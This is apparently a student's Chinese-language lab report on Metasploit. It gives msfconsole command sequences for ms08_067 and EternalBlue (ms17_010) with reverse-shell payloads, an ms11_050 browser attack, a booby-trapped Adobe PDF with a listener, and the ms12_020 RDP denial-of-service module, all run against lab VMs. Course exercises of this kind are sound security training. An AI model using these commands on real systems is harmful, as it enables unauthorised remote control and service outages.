当前位置: 首页 > news >正文

2018-2019 20165239 Exip MSF基础应用

  1. 实践内容(3.5分)

    本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

1.1一个主动攻击实践,如ms08_067; (1分)

1.2 一个针对浏览器的攻击,如ms11_050;(1分)

1.3 一个针对客户端的攻击,如Adobe;(1分)

1.4 成功应用任何一个辅助模块。(0.5分)

以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分
一、实验内容说明及基础问题回答


1、实验内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
(1) 一个主动攻击实践,如ms08_067; (1分)

(2)一个针对浏览器的攻击,如ms11_050;(1分)

(3) 一个针对客户端的攻击,如Adobe;(1分)

(4)成功应用任何一个辅助模块。(0.5分)

2、基础问题回答
(1)用自己的话解释什么是 exploit , payload , encode.
•exploit
渗透攻击模块,利用系统服务应用中的漏洞取得权限
•payload
一段代码,用于渗透之后在目标主机上执行
•encode
用来对payload进行编码,主要是为了避免“坏字符”和做到免杀
二、实验过程

攻击机kali——172.30.2.47
靶机:①WinXP——192.168.159.131②win2000——172.30.5.55

Task1 主动攻击实践

ms08_067

•在攻击机kali输入msfconsole进入控制台,依次输入以下指令:
msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > show payloads

msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回连

msf exploit(ms08_067_netapi) > set LHOST 172.30.2.47 //攻击机ip

msf exploit(ms08_067_netapi) > set LPORT 5226//攻击端口

msf exploit(ms08_067_netapi) > set RHOST 172.30.6.172 //靶机ip,特定漏洞端口已经固定

msf exploit(ms08_067_netapi) > set target 0 //自动选择目标系统类型,匹配度较高

msf exploit(ms08_067_netapi) > exploit //攻击

ms17_010
1296709-20190420201742068-852449886.png
1296709-20190420201837289-1548132643.png
1296709-20190420201901999-803226208.png

•查看targets,与本机作对比
1296709-20190420205229866-735698878.png

•输入ipconfig/all,获取相关的MAC地址、IP地址、子网掩码、网关地址以及DNS
1296709-20190420205444524-160612009.png

ms17_010

攻击:kali
靶机:①win2000②winxp③win2008
•进入msfconsole
•输入以下指令
search ms17-010 #搜索漏洞
use exploit/windows/smb/ms17_010_eternalblue #选择漏洞
show payloads #查看可用攻击载荷
set payload windows/x64/meterpreter/reverse_tcp #选择攻击载荷
options
1296709-20190420205922752-1313282659.png
1296709-20190420205929765-521635514.png
•再输入以下指令:
set RHOST192.168.159.130#设置攻击ip
set LHOST192.168.159.131 #设置监听主机
set LPORT 5239 #设置监听端口

1296709-20190420210419245-1880897145.png

Task2 针对浏览器的攻击

攻击机kali——172.30.2.47
靶机:①Win2000②win2007

ms11_050

•在攻击机kali输入msfconsole进入控制台,依次输入以下指令:
msf > use windows/browser/ms11_050_mshtml_cobjectelement//使用浏览器ms11_050漏洞
msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_http //http反向回连
msf exploit(ms11_050_cobjectelement) > set LHOST 192.168.159.131//攻击机ip
msf exploit(ms11_050_cobjectelement) > set LPORT 5239 //攻击端口固定
msf exploit(ms11_050_cobjectelement) > set URIPATH 5239lxs //统一资源标识符路径设置
msf exploit(ms11_050_cobjectelement) > exploit
1296709-20190420211316272-1619568665.png
•在浏览器输入http://192.168.159.131:8080/5239lxs,IE无法访问
无法访问
•设置浏览器的安全级别如下
1296709-20190420213513974-295099184.png
•仍然不行,重新换一台虚拟机

•在设置Internet选项后仍是会出现IE浏览器的错误
1296709-20190420213751169-385297398.png

browser_autopwn

•换一个漏洞实施browser_autopwn模块 ◦攻击机里进入msfconsole,然后分别输入

use auxiliary/server/browser_autopwn2

set SRVHOST 192.168.159.131set URIPATH auto

show options

•开始攻击,可以看到msf在不停的尝试不同的payload
1296709-20190420213914637-584215159.png
•尝试成功,输出了可被访问的URLhttp://172.30.2.47:8080/auto并启动服务器
1296709-20190420214023771-1644566178.png
•失败again
1296709-20190420214054570-218114853.png

Task3 对客户端的攻击,如Adobe

•在攻击机kali输入msfconsole进入控制台,依次输入以下指令:
msf > use windows/fileformat/adobe_cooltype_sing

msf exploit(adobe_cooltype_sing) > set payload
windows/meterpreter/reverse_tcp //tcp反向回连

msf exploit(adobe_cooltype_sing) > set LHOST 172.30.2.47 //攻击机ip

msf exploit(adobe_cooltype_sing) > set LPORT 5239//攻击端口

msf exploit(adobe_cooltype_sing) > set FILENAME 20165239.pdf //设置生成pdf文件的名字

msf exploit(adobe_cooltype_sing) > exploit //攻击
•将生成的pdf文件拷贝到靶机上
1296709-20190421175611284-1077829353.png
•在kali上输入back退出当前模块,进入监听模块,输入以下命令:
msf > use exploit/multi/handler //进入监听模块

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp //tcp反向连接

msf exploit(handler) > set LHOST 192.168.159.131//攻击机ip

msf exploit(handler) > set LPORT 5239 //攻击端口固定

msf exploit(handler) > exploit
1296709-20190421175951021-1246489671.png
•在靶机上打开20165239.pdf文件
1296709-20190421183258682-1578982403.png

•攻击机显示攻击成功
1296709-20190421182011690-1436779426.png
•靶机关闭PDF文件则失去权限
1296709-20190421182050971-1595623877.png

Task4 成功应用auxiliary/dos/windows/rdp/ms12_020_maxchannelids模块(唯一)

攻击:kali
靶机:win2008
•使用命令show auxiliary查看所有的辅助模块
•使用MS12-020(CVE-2012-0002)蓝屏攻击
•进入msfconsole
•输入以下指令
search ms12-020 #搜索漏洞
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids #使用漏洞
options #查看配置信息
set RHOST 172.30.2.47 #设置攻击IP
exploit #开始攻击
•攻击成功
1296709-20190421182158746-156194174.png

三、问题与思考

•问题1:在进行ms08_067_netapi攻击时出现以下情况
1296709-20190421183801426-851152003.png

•问题1解决方案:
◦首先查看targets
1296709-20190421183839595-767030218.png
四、实验总结
本次实验学会了如何搜索漏洞,并在现有的漏洞环境下,尝试利用漏洞进行直接或间接主动攻击客户端,本次实验遇到了很多问题,通过网上查资料,问同学解决了问题,还有中途换了好几次虚拟机。

转载于:https://www.cnblogs.com/qm20165239/p/10732660.html

相关文章:

  • Netty源码分析(五):EventLoop
  • 是时候放弃tensorflow集群投入horovod的怀抱
  • OO第二阶段作业总结
  • MUI 返回顶部
  • 知识点---js监听手机返回键,回到指定界面
  • 无论你是什么职业,这篇职场生存法则都是你必备的
  • 余莹是谁?
  • 37.C#--面对对象_类的基本使用
  • C++STL之vector用法总结
  • Angular-使用好NgForOf的trackBy带来性能上的提升
  • 微服务
  • 一篇文章告诉你Python上下文管理器怎么用
  • python算法之插入排序
  • swift学习笔记1
  • 关于可变参数varargs
  • ----------
  • 03Go 类型总结
  • DataBase in Android
  • Docker下部署自己的LNMP工作环境
  • JDK 6和JDK 7中的substring()方法
  • Linux CTF 逆向入门
  • Redis字符串类型内部编码剖析
  • WebSocket使用
  • 百度小程序遇到的问题
  • 动态魔术使用DBMS_SQL
  • 精益 React 学习指南 (Lean React)- 1.5 React 与 DOM
  • 理解在java “”i=i++;”所发生的事情
  • 七牛云假注销小指南
  • ​软考-高级-系统架构设计师教程(清华第2版)【第20章 系统架构设计师论文写作要点(P717~728)-思维导图】​
  • ​软考-高级-信息系统项目管理师教程 第四版【第14章-项目沟通管理-思维导图】​
  • # 飞书APP集成平台-数字化落地
  • #Js篇:单线程模式同步任务异步任务任务队列事件循环setTimeout() setInterval()
  • (9)YOLO-Pose:使用对象关键点相似性损失增强多人姿态估计的增强版YOLO
  • (java)关于Thread的挂起和恢复
  • (Oracle)SQL优化技巧(一):分页查询
  • (十二)python网络爬虫(理论+实战)——实战:使用BeautfulSoup解析baidu热搜新闻数据
  • (转载)(官方)UE4--图像编程----着色器开发
  • .gitignore文件—git忽略文件
  • .NET 8 中引入新的 IHostedLifecycleService 接口 实现定时任务
  • .NET LINQ 通常分 Syntax Query 和Syntax Method
  • .NET MVC第三章、三种传值方式
  • .sh
  • .vollhavhelp-V-XXXXXXXX勒索病毒的最新威胁:如何恢复您的数据?
  • // an array of int
  • @31省区市高考时间表来了,祝考试成功
  • @media screen 针对不同移动设备
  • [ 蓝桥杯Web真题 ]-布局切换
  • [ 转载 ] SharePoint 资料
  • [100天算法】-x 的平方根(day 61)
  • [1127]图形打印 sdutOJ
  • [2019.2.28]BZOJ4033 [HAOI2015]树上染色
  • [23] 4K4D: Real-Time 4D View Synthesis at 4K Resolution
  • [Android] Amazon 的 android 音视频开发文档
  • [Android]通过PhoneLookup读取所有电话号码
  • [Angular 基础] - 指令(directives)